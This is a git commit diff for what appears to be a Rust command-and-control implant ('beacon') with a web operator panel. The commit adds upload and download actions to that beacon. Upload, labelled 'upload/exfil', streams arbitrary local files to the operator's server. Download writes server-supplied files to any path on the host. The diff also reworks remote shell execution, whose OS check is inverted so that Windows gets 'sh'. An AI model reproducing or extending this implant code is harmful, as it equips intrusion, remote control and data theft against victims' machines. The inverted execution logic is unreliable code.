feat: added download and upload commands

redid actions to better support different clients
This commit is contained in:
Andrew Rioux
2025-03-03 20:03:04 -05:00
parent e0bd5c3b06
commit 7f9ea12b6a
21 changed files with 401 additions and 88 deletions

View File

@@ -25,6 +25,9 @@ rustls = { version = "0.23.23", default-features = false, features = ["std"], op
sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite", "uuid"], optional = true }
bytes = { version = "1.10.0", optional = true }
http-body-util = { version = "0.1.2", optional = true }
futures-core = { version = "0.3.31", optional = true }
tokio-stream = "0.1.17"
tokio-util = { version = "0.7.13", features = ["io"], optional = true }
[build-dependencies]
bindgen = "0.69"
@@ -41,6 +44,8 @@ beacon = [
"dep:rmp-serde",
"dep:bytes",
"dep:http-body-util",
"dep:futures-core",
"dep:tokio-util",
"uuid/v4"
]
server-ssr = ["uuid/v4", "dep:sqlx"]

View File

@@ -2,16 +2,19 @@
/// Cannot have fields that have the following names:
/// `target_beacon_id`, `target_category_id`, or `cmd_type`
#[cfg(feature = "server")]
use leptos::prelude::*;
use leptos::{either::Either, prelude::*};
use serde::{Deserialize, Serialize};
#[cfg(feature = "beacon")]
use crate::{payload_types::Parameters, adapter::BeaconAdapter, error::BeaconError};
use crate::version::Version;
#[derive(Serialize, Deserialize, Clone)]
#[derive(Serialize, Deserialize, Clone, Debug)]
pub struct FileId(pub uuid::Uuid);
#[cfg(feature = "beacon")]
pub type CallbackBody<T> = Box<dyn hyper::body::Body<Data = bytes::Bytes, Error = BeaconError<<T as BeaconAdapter>::Error>> + Send + Unpin>;
/// Macro used to enforce the invariant that struct names are used to identify
/// the enum branch as well
macro_rules! define_actions_enum {
@@ -28,11 +31,21 @@ macro_rules! define_actions_enum {
impl Actions {
#[cfg(feature = "server")]
fn render_internal(&self, data: String) -> AnyView {
pub fn render_composite_action(&self, data: String) -> impl IntoView {
let res: Result<Result<String, String>, _> = serde_json::from_str(&data);
match res {
Ok(Ok(v)) => match self {
Ok(v) => Either::Left(self.render_internal(v)),
Err(_) => Either::Right(view! {
<p>"The command results in the database are corrupted"</p>
})
}
}
#[cfg(feature = "server")]
fn render_internal(&self, data: Result<String, String>) -> AnyView {
match data {
Ok(v) => match self {
$(
Actions::$act(action) => {
let Ok(data) = serde_json::from_str(&v) else {
@@ -44,7 +57,7 @@ macro_rules! define_actions_enum {
},
)*
},
Ok(Err(e)) => view! {
Err(e) => view! {
<details>
<summary>
"While running the command, an error occured:"
@@ -53,9 +66,6 @@ macro_rules! define_actions_enum {
{e}
</pre>
</details>
}.into_any(),
Err(_) => view! {
<p>"The command results in the database are corrupted"</p>
}.into_any()
}
}
@@ -76,10 +86,10 @@ macro_rules! define_actions_enum {
&self,
parameters: &Parameters,
adapter: &'a T,
client: &'a hyper_util::client::legacy::Client<S, http_body_util::Full<bytes::Bytes>>
client: &'a hyper_util::client::legacy::Client<S, CallbackBody<T>>
) -> Result<Result<String, String>, BeaconError<T::Error>>
where
T: 'a + BeaconAdapter,
T: 'static + BeaconAdapter,
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
{
match self {
@@ -116,6 +126,8 @@ macro_rules! define_actions_enum {
define_actions_enum! {
(exec, Exec),
(download, Download),
(upload, Upload),
// (ls, Ls),
// (update, Update),
// (upload, Upload),
@@ -150,7 +162,7 @@ impl Action for Actions {
}
#[cfg(feature = "server")]
fn render_data(&self, data: String) -> AnyView {
fn render_data(&self, data: Self::ActionData) -> AnyView {
self.render_internal(data)
}
@@ -164,10 +176,10 @@ impl Action for Actions {
&self,
parameters: &Parameters,
adapter: &'a T,
client: &'a hyper_util::client::legacy::Client<S, http_body_util::Full<bytes::Bytes>>
client: &'a hyper_util::client::legacy::Client<S, CallbackBody<T>>
) -> Result<Self::ActionData, BeaconError<T::Error>>
where
T: 'a + BeaconAdapter,
T: 'static + BeaconAdapter,
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
{
self.execute_internal(parameters, adapter, client).await
@@ -188,7 +200,7 @@ pub trait Action: Serialize + for<'a> Deserialize<'a> {
async fn build_action(data: Self::BuilderData, db: &sqlx::SqlitePool) -> Result<Self, BuildActionError>;
#[cfg(feature = "server")]
fn render_data(&self, data: String) -> AnyView;
fn render_data(&self, data: Self::ActionData) -> AnyView;
#[cfg(feature = "server")]
fn render_empty(&self) -> AnyView;
@@ -198,10 +210,10 @@ pub trait Action: Serialize + for<'a> Deserialize<'a> {
&self,
parameters: &Parameters,
adapter: &'a T,
client: &'a hyper_util::client::legacy::Client<S, http_body_util::Full<bytes::Bytes>>
client: &'a hyper_util::client::legacy::Client<S, CallbackBody<T>>
) -> Result<Self::ActionData, BeaconError<T::Error>>
where
T: 'a + BeaconAdapter,
T: 'static + BeaconAdapter,
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static;
}

View File

@@ -3,13 +3,13 @@ use leptos::prelude::*;
use serde::{Deserialize, Serialize};
#[cfg(feature = "beacon")]
use crate::payload_types::Parameters;
use crate::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters};
use crate::version::Version;
#[derive(Serialize, Deserialize, Clone)]
#[derive(Serialize, Deserialize, Clone, Debug)]
pub struct Download {
download_src: super::FileId,
download_path: String,
download_src: super::FileId,
}
#[async_trait::async_trait]
@@ -22,16 +22,95 @@ impl super::Action for Download {
];
type ActionData = ();
#[cfg(feature = "server-ssr")]
type BuilderData = Self;
#[cfg(feature = "server-ssr")]
async fn build_action(data: Self::BuilderData, _db: &sqlx::SqlitePool) -> Result<Self, super::BuildActionError> {
Ok(data)
}
#[cfg(feature = "beacon")]
async fn execute(&self, _: &Parameters) -> Self::ActionData {
"Hi".to_string();
async fn execute<'a, T, S>(
&self,
parameters: &Parameters,
_adapter: &'a T,
client: &'a hyper_util::client::legacy::Client<S, super::CallbackBody<T>>
) -> Result<Self::ActionData, BeaconError<T::Error>>
where
T: 'static + BeaconAdapter,
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
{
use http_body_util::{BodyExt, Empty};
use hyper::{Method, Request};
use tokio_stream::StreamExt;
use tokio::io::AsyncWriteExt;
let mut target_file = tokio::fs::OpenOptions::new()
.write(true)
.create(true)
.open(self.download_path.clone())
.await?;
let body: super::CallbackBody<T> = Box::new(
Empty::<bytes::Bytes>::new()
.map_err(|_| crate::error::BeaconError::GenericHyper(
"infallible case encountered".to_string()
))
);
let req = Request::builder()
.method(Method::GET)
.uri(format!(
"https://{}/files/download/{}",
parameters.domain_name::<T>()?,
self.download_src.0.to_string()
))
.body(body)?;
let resp = client.request(req).await?;
if !resp.status().is_success() {
let status = resp.status().clone();
if cfg!(debug_assertions) {
let body = resp.into_body();
let body = body.collect().await?;
dbg!(body);
}
return Err(BeaconError::SparseServerHttpError(status));
}
let mut body = resp.into_body().into_data_stream();
while let Some(Ok(chunk)) = body.next().await {
target_file.write(&chunk).await?;
}
Ok(())
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
fn render_data(&self, _: Self::ActionData) -> AnyView {
view! {
"ls ran"
"File successfully downloaded to " {self.download_path.clone()}
}
.into_any()
}
#[cfg(feature = "server")]
fn render_empty(&self) -> AnyView {
view! {
<div>
"request download of "
<a href=format!("/binaries/files/{}", self.download_src.0.to_string()) download>
"file"
</a>
" to "
<code>{self.download_path.clone()}</code>
</div>
}
.into_any()
}
}

View File

@@ -33,10 +33,10 @@ impl super::Action for Exec {
&self,
_parameters: &Parameters,
_adapter: &'a T,
_client: &'a hyper_util::client::legacy::Client<S, http_body_util::Full<bytes::Bytes>>
_client: &'a hyper_util::client::legacy::Client<S, super::CallbackBody<T>>
) -> Result<Self::ActionData, BeaconError<T::Error>>
where
T: 'a + BeaconAdapter,
T: 'static + BeaconAdapter,
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
{
use std::process::Stdio;
@@ -45,12 +45,21 @@ impl super::Action for Exec {
let mut output: Vec<String> = Vec::new();
let mut cmd = Command::new("sh")
.arg("-c")
.arg(self.exec_cmd.clone())
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()?;
let mut cmd = if cfg!(target_os = "windows") {
Command::new("sh")
.arg("-c")
.arg(self.exec_cmd.clone())
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()?
} else {
Command::new("cmd.exe")
.arg("/c")
.arg(self.exec_cmd.clone())
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()?
};
let mut stdout = cmd.stdout.take().ok_or(BeaconError::ChildExecResourceNotFound)?;
let mut stderr = cmd.stderr.take().ok_or(BeaconError::ChildExecResourceNotFound)?;
@@ -86,7 +95,7 @@ impl super::Action for Exec {
}
#[cfg(feature = "server")]
fn render_data(&self, data: String) -> AnyView {
fn render_data(&self, data: Self::ActionData) -> AnyView {
view! {
<div>
"execute command: " {self.exec_cmd.clone()}

View File

@@ -3,10 +3,10 @@ use leptos::prelude::*;
use serde::{Deserialize, Serialize};
#[cfg(feature = "beacon")]
use crate::payload_types::Parameters;
use crate::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters};
use crate::version::Version;
#[derive(Serialize, Deserialize, Clone)]
#[derive(Serialize, Deserialize, Clone, Debug)]
pub struct Upload {
upload_src: String
}
@@ -19,17 +19,92 @@ impl super::Action for Upload {
("File path to upload/exfil", "upload_src", None)
];
type ActionData = ();
type ActionData = super::FileId;
#[cfg(feature = "server-ssr")]
type BuilderData = Self;
#[cfg(feature = "server-ssr")]
async fn build_action(data: Self::BuilderData, _db: &sqlx::SqlitePool) -> Result<Self, super::BuildActionError> {
Ok(data)
}
#[cfg(feature = "beacon")]
async fn execute(&self, _: &Parameters) -> Self::ActionData {
"Hi".to_string();
async fn execute<'a, T, S>(
&self,
parameters: &Parameters,
_adapter: &'a T,
client: &'a hyper_util::client::legacy::Client<S, super::CallbackBody<T>>
) -> Result<Self::ActionData, BeaconError<T::Error>>
where
T: 'static + BeaconAdapter,
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
{
use http_body_util::{BodyExt, StreamBody};
use hyper::{body::Frame, Method, Request};
use tokio_stream::StreamExt;
use tokio_util::io::ReaderStream;
let target_file = tokio::fs::OpenOptions::new()
.read(true)
.open(self.upload_src.clone())
.await?;
let read_stream = ReaderStream::new(target_file);
let body: super::CallbackBody<T> = Box::new(
StreamBody::new(read_stream
.map(|chunk| chunk
.map(Frame::data)
.map_err(Into::into))
)
);
let req = Request::builder()
.method(Method::POST)
.uri(format!(
"https://{}/files/upload",
parameters.domain_name::<T>()?,
))
.body(body)?;
let resp = client.request(req).await?;
if !resp.status().is_success() {
let status = resp.status().clone();
if cfg!(debug_assertions) {
let body = resp.into_body();
let body = body.collect().await?;
dbg!(body);
}
return Err(BeaconError::SparseServerHttpError(status));
}
let body = resp.into_body();
let body = body.collect().await?;
rmp_serde::from_slice(&body.to_bytes())
.map_err(Into::into)
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
fn render_data(&self, id: Self::ActionData) -> AnyView {
view! {
"ls ran"
"File successfully uploaded: "
<a href=format!("/binaries/files/{}", id.0.to_string()) download>
"download"
</a>
}
.into_any()
}
#[cfg(feature = "server")]
fn render_empty(&self) -> AnyView {
view! {
"request upload of "
<code>{self.upload_src.clone()}</code>
}
.into_any()
}
}

View File

@@ -41,4 +41,6 @@ where
Json(#[from] serde_json::Error),
#[error("could not acquire child resources")]
ChildExecResourceNotFound,
#[error("generic hyper error")]
GenericHyper(String),
}

View File

@@ -10,4 +10,5 @@ pub mod adapter;
#[cfg(feature = "beacon")]
pub mod error;
pub mod messages;
pub mod prelude;
pub mod version;

View File

@@ -0,0 +1,13 @@
#[cfg(feature = "beacon")]
use crate::{adapter::BeaconAdapter, error::BeaconError};
impl crate::payload_types::Parameters {
#[cfg(feature = "beacon")]
pub fn domain_name<'a, T>(&'a self) -> Result<&'a str, BeaconError<T::Error>>
where
T: BeaconAdapter,
{
std::str::from_utf8(&self.domain_name[..self.domain_name_length as usize])
.map_err(Into::into)
}
}